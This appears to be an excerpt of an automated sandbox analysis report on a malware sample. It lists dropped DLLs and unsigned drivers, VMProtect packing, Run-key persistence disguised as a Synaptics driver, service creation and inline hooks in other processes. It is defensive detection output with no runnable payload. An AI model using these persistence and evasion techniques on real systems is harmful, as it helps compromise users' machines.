Source:	Binary string: F:\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb<F source: C2485384.exe, 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000003.1636154090.00000000053ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \bin\xkSHWL.pdb source: C2485384.exe, 00000011.00000002.3867066014.000000000FD40000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3873881064.000000000FEB6000.00000004.00000020.00020000.00000000.sdmp, EA56ljmih.dll.17.dr
Source:	Binary string: ePluginCtrl.pdbDS source: C2485384.exe, 00000011.00000003.1636154090.00000000053ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \DPK.pdb source: C2485384.exe, 00000011.00000002.3924068843.0000000010870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DPK\bin\dlq.pdb source: C2485384.exe, 00000011.00000003.1522191289.0000000005385000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1521842965.0000000005385000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1520126780.0000000005362000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3948363402.0000000010DC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \GamePluginCtrl\Release\gamePluginCtrl.pdb source: C2485384.exe, 00000011.00000002.3838969086.000000000F6A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: G:\projects\funny\GamePluginCtrl\Release\gamePluginCtrl.pdbDS source: C2485384.exe, 00000011.00000003.1495290658.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1515144360.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1467525326.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1520237047.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1462708344.0000000005391000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3795901712.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1487918139.0000000005385000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1500917467.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1560326458.0000000005390000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1500225099.0000000005390000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: F:\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb source: C2485384.exe, C2485384.exe, 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000003.1636154090.00000000053ED000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdb @ source: C2485384.exe, 00000011.00000003.1499587491.0000000005362000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1499750623.0000000005386000.00000004.00000020.00020000.00000000.sdmp, E9BEcVYUT.dll.17.dr, 4858pmjcZ.dll.17.dr
Source:	Binary string: \bin\xkSHWL.pdbY source: C2485384.exe, 00000011.00000002.3867066014.000000000FD40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \bin\xkSHWL.pdb9 source: C2485384.exe, 00000011.00000002.3873881064.000000000FEB6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ePluginCtrl.pdb source: C2485384.exe, 00000011.00000003.1636154090.00000000053ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DPK\bin\DPK.pdb source: 2CE020xu.dll.17.dr, 5C55qqtun.dll.17.dr
Source:	Binary string: \GamePluginCtrl\Release\gamePluginCtrl.pdb<F source: C2485384.exe, 00000011.00000002.3838969086.000000000F6A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \bin\xkSHWL.pdbtc source: EA56ljmih.dll.17.dr
Source:	Binary string: DPK\bin\JDClient.pdb source: Synaptics.exe, 0000000C.00000003.1523443387.000000000CBB7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1527533445.000000000C9D0000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdb source: C2485384.exe, 00000011.00000003.1499587491.0000000005362000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3946962889.0000000010D7C000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000003.1499750623.0000000005386000.00000004.00000020.00020000.00000000.sdmp, E9BEcVYUT.dll.17.dr, 4858pmjcZ.dll.17.dr

Data Obfuscation

Sample is protected by VMProtect

Source: DB84ibYaX.dll.17.dr	Static PE information: Section: .vmp1 IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: BEE1D5y1w.dll.17.dr	Static PE information: Section: .vmp1 IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 31884z1x0.dll.17.dr	Static PE information: Section: .vmp1 IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_6252E110 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,_malloc,_memset,wsprintfA,wsprintfA,_memset,_sprintf,_strncpy,_memset,wsprintfA,_memset,wsprintfA,FreeLibrary,FreeLibrary,

17_2_6252E110

Source: initial sample

Static PE information: section where entry point is pointing to: .data31

Source: ._cache_3.exe.0.dr	Static PE information: section name: .data30
Source: ._cache_3.exe.0.dr	Static PE information: section name: .data31
Source: C2485384.exe.5.dr	Static PE information: section name: 0DE
Source: C2485384.exe.5.dr	Static PE information: section name: 1TA
Source: C2485384.exe.5.dr	Static PE information: section name: 2S
Source: C2485384.exe.5.dr	Static PE information: section name: 3data
Source: C2485384.exe.5.dr	Static PE information: section name: 4ls
Source: C2485384.exe.5.dr	Static PE information: section name: 5data
Source: C2485384.exe.5.dr	Static PE information: section name: 6eloc
Source: C2485384.exe.5.dr	Static PE information: section name: 7src
Source: C2485384.exe.5.dr	Static PE information: section name: 8ext
Source: C2485384.exe.5.dr	Static PE information: section name: 9data
Source: C2485384.exe.5.dr	Static PE information: section name: 10ta
Source: A0A461yPs.sys.17.dr	Static PE information: section name: .vvd0
Source: A0A461yPs.sys.17.dr	Static PE information: section name: .vvd1
Source: DB84ibYaX.dll.17.dr	Static PE information: section name: .vmp0
Source: DB84ibYaX.dll.17.dr	Static PE information: section name: .vmp1
Source: E9A1EEE73.dll.17.dr	Static PE information: section name: .didata
Source: E9A1EEE73.dll.17.dr	Static PE information: section name: .aspack
Source: E9A1EEE73.dll.17.dr	Static PE information: section name: .adata
Source: 105775LGi.dll.17.dr	Static PE information: section name: .vvvt0
Source: 105775LGi.dll.17.dr	Static PE information: section name: .vvvt1
Source: 716omlgZ.dll.17.dr	Static PE information: section name: .vmp0
Source: 2CE020xu.dll.17.dr	Static PE information: section name: .vmp0
Source: 64DSSSLL.dll.17.dr	Static PE information: section name: .vmp0
Source: BEE1D5y1w.dll.17.dr	Static PE information: section name: .vmp0
Source: BEE1D5y1w.dll.17.dr	Static PE information: section name: .vmp1
Source: 31884z1x0.dll.17.dr	Static PE information: section name: .vmp0
Source: 31884z1x0.dll.17.dr	Static PE information: section name: .vmp1
Source: 2537POKDF.dll.17.dr	Static PE information: section name: .vmp0
Source: 2537POKDF.dll.17.dr	Static PE information: section name: .vmp1
Source: 1A5fZcdZ.dll.17.dr	Static PE information: section name: .vvvt0
Source: 1A5fZcdZ.dll.17.dr	Static PE information: section name: .vvvt1
Source: C2485384.sys.17.dr	Static PE information: section name: .vvd0
Source: C2485384.sys.17.dr	Static PE information: section name: .vvd1
Source: 7361p1CQa.sys.17.dr	Static PE information: section name: .vvd0
Source: 7361p1CQa.sys.17.dr	Static PE information: section name: .vvd1
Source: A0E0ohaVQ.sys.17.dr	Static PE information: section name: .vvd0
Source: A0E0ohaVQ.sys.17.dr	Static PE information: section name: .vvd1
Source: 5C55qqtun.dll.17.dr	Static PE information: section name: .vmp0

Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BC22BCB push dword ptr [esp+44h]; retn 0048h	17_2_0BC22BE1
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BBE8BA1 pushfd ; mov dword ptr [esp], D85E82B4h	17_2_0BBE8BA9
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BBCAA94 pushfd ; mov dword ptr [esp], edi	17_2_0BBCAAA4
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB92A0C push 0BB92C90h; ret	17_2_0BB92C88
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB809A4 push 0BB80DF0h; ret	17_2_0BB80DE8
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BC8A880 push dword ptr [esp+1Ch]; retn 0020h	17_2_0BC8A891
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BBE887D push dword ptr [esp+14h]; retn 0018h	17_2_0BBE889A
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BD8A80D push dword ptr [esp+30h]; retn 0034h	17_2_0BD8A81B
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB90F88 push ecx; mov dword ptr [esp], edx	17_2_0BB90F8D
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BCD0E4D pushfd ; mov dword ptr [esp], edi	17_2_0BD81BD1
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB80E6C push 0BB80EA0h; ret	17_2_0BB80E98
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BD80D91 pushfd ; mov dword ptr [esp], edi	17_2_0BD81BD1
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB80DF2 push 0BB80E63h; ret	17_2_0BB80E5B
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BD88DBD push dword ptr [esp+10h]; retn 001Ch	17_2_0BD88DE3
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB76DC0 push 0BB76E11h; ret	17_2_0BB76E09
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BC88CFD push dword ptr [esp+34h]; retn 0038h	17_2_0BC88D4D
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BBD0384 push ebp; mov dword ptr [esp], BD2EF39Fh	17_2_0BC2B823
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB8C320 push ecx; mov dword ptr [esp], ecx	17_2_0BB8C325
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB8A29C push ecx; mov dword ptr [esp], edx	17_2_0BB8A2A1
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB7A28C push 0BB7A2C9h; ret	17_2_0BB7A2C1
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB8A2E0 push ecx; mov dword ptr [esp], edx	17_2_0BB8A2E5
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB7A2EC push 0BB7A608h; ret	17_2_0BB7A600
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB92202 push 0BB92230h; ret	17_2_0BB92228
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB9224A push 0BB92278h; ret	17_2_0BB92270
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB8A180 push ecx; mov dword ptr [esp], edx	17_2_0BB8A185
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BBCA16E pushfd ; mov dword ptr [esp], esi	17_2_0BBCA14A
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BBCA16E push edi; mov dword ptr [esp], ebp	17_2_0BBCB84A
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BC380AB push dword ptr [esp+18h]; retn 001Ch	17_2_0BC380BD
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BBCA0D4 pushad ; mov dword ptr [esp], C151F597h	17_2_0BC15F47
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BCD0001 pushfd ; mov dword ptr [esp], 7D16BF76h	17_2_0BCD7208
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BC96757 push dword ptr [esp+48h]; retn 004Ch	17_2_0BC97D6B

Source: C2485384.exe.5.dr	Static PE information: section name: 0DE entropy: 7.9997364104024875
Source: C2485384.exe.5.dr	Static PE information: section name: 1TA entropy: 7.978322038476304
Source: C2485384.exe.5.dr	Static PE information: section name: 3data entropy: 7.935257273389065
Source: C2485384.exe.5.dr	Static PE information: section name: 8ext entropy: 7.900782660215838
Source: C2485384.exe.5.dr	Static PE information: section name: 10ta entropy: 7.973925222571074
Source: A0A461yPs.sys.17.dr	Static PE information: section name: .vvd1 entropy: 7.870656553239393
Source: DB84ibYaX.dll.17.dr	Static PE information: section name: .vmp1 entropy: 7.9279321384111645
Source: 105775LGi.dll.17.dr	Static PE information: section name: .vvvt1 entropy: 7.897791092229113
Source: 716omlgZ.dll.17.dr	Static PE information: section name: .vmp0 entropy: 7.933949478599191
Source: 2CE020xu.dll.17.dr	Static PE information: section name: .vmp0 entropy: 7.1293297976491194
Source: 64DSSSLL.dll.17.dr	Static PE information: section name: .vmp0 entropy: 7.927136044627817
Source: BEE1D5y1w.dll.17.dr	Static PE information: section name: .vmp1 entropy: 7.957735490987599
Source: 31884z1x0.dll.17.dr	Static PE information: section name: .vmp1 entropy: 7.957735490987599
Source: 2537POKDF.dll.17.dr	Static PE information: section name: .vmp1 entropy: 7.8581135744322665
Source: 1A5fZcdZ.dll.17.dr	Static PE information: section name: .vvvt1 entropy: 7.897791092229113
Source: C2485384.sys.17.dr	Static PE information: section name: .vvd1 entropy: 7.8609558760813965
Source: 7361p1CQa.sys.17.dr	Static PE information: section name: .vvd1 entropy: 7.8609558760813965
Source: A0E0ohaVQ.sys.17.dr	Static PE information: section name: .vvd1 entropy: 7.879683117928679
Source: 5C55qqtun.dll.17.dr	Static PE information: section name: .vmp0 entropy: 7.1293297976491194

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\CZQKSDDMWR\~$cache1

Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\A0A461yPs.sys	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\C2485384.sys	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\7361p1CQa.sys	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\A0E0ohaVQ.sys	Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: reg.exe
Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: reg.exe
Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: reg.exe	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: reg.exe	Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\FEE303F91\E9A1EEE73.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A733D6\CE8ebUTU.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\A0A461yPs.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A733D6\EA56ljmih.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\7361p1CQa.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A39EAB56C\60B31urkm.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C787EC\DB84ibYaX.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A544E7C1C35\2CE020xu.dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\CZQKSDDMWR\~$cache1	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\105775LGi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\3.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\I2DF4C05\2537POKDF.dll	Jump to dropped file
Source: C:\Users\user\Desktop\3.exe	File created: C:\ProgramData\Synaptics\RCXA074.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\A0E0ohaVQ.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\J3E76662C\4858pmjcZ.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_3.exe	File created: C:\Program Files (x86)\Google\C2485384.exe	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\C2485384.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\1A5fZcdZ.dll	Jump to dropped file
Source: C:\Users\user\Desktop\3.exe	File created: C:\Users\user\Desktop\._cache_3.exe	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\ED5E0B401A7\FB0C75zus.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\IC58E279CB8\72F551y12.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\BA459E441E\31884z1x0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\D47A8EF7C6\E9BEcVYUT.dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user~1\AppData\Local\Temp\q67hQckB.exe (copy)	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\DD0741\BEE1D5y1w.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A544E7C1C35\5C55qqtun.dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\RCX7023.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Users\user\Desktop\I4F64A1117\AA1F03F\B895AC6\3724rlnjg.dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\q67hQckB.exe	Jump to dropped file

Source: C:\Users\user\Desktop\3.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file
Source: C:\Users\user\Desktop\3.exe	File created: C:\ProgramData\Synaptics\RCXA074.tmp			Jump to dropped file

Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\A0A461yPs.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\C2485384.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\7361p1CQa.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	File created: C:\Windows\SysWOW64\A0E0ohaVQ.sys	Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\CZQKSDDMWR\~$cache1

Jump to dropped file

Source: C:\Program Files (x86)\Google\C2485384.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\C2485384

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\Config

Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_62518BE0 OpenSCManagerA,CloseServiceHandle,OpenServiceA,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

17_2_62518BE0

Source: C:\Users\user\Desktop\3.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: PID: 4340 base: 778A0005 value: E9 2B BA E8 FF	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: PID: 4340 base: 7772BA30 value: E9 6B 8E EA 88	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: PID: 4340 base: 778A0017 value: E9 7C 8E ED FF	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: PID: 4340 base: 77778E90 value: E9 9B BA E5 88	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: PID: 4340 base: 77090005 value: E9 8B 8A 54 FF	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: PID: 4340 base: 765D8A90 value: E9 1B BD FF 89	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: PID: 4340 base: 77090014 value: E9 1C 02 57 FF	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Memory written: PID: 4340 base: 76600230 value: E9 0B 46 FD 89	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory written: PID: 7812 base: 778A0005 value: E9 2B BA E8 FF	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory written: PID: 7812 base: 7772BA30 value: E9 6B 8E D9 88	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory written: PID: 7812 base: 778A0017 value: E9 7C 8E ED FF	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory written: PID: 7812 base: 77778E90 value: E9 9B BA D4 88	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory written: PID: 7812 base: 77090005 value: E9 8B 8A 54 FF	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory written: PID: 7812 base: 765D8A90 value: E9 1B BD EE 89	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory written: PID: 7812 base: 77090014 value: E9 1C 02 57 FF	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Memory written: PID: 7812 base: 76600230 value: E9 0B 46 EC 89	Jump to behavior

Source: C:\Users\user\Desktop\3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
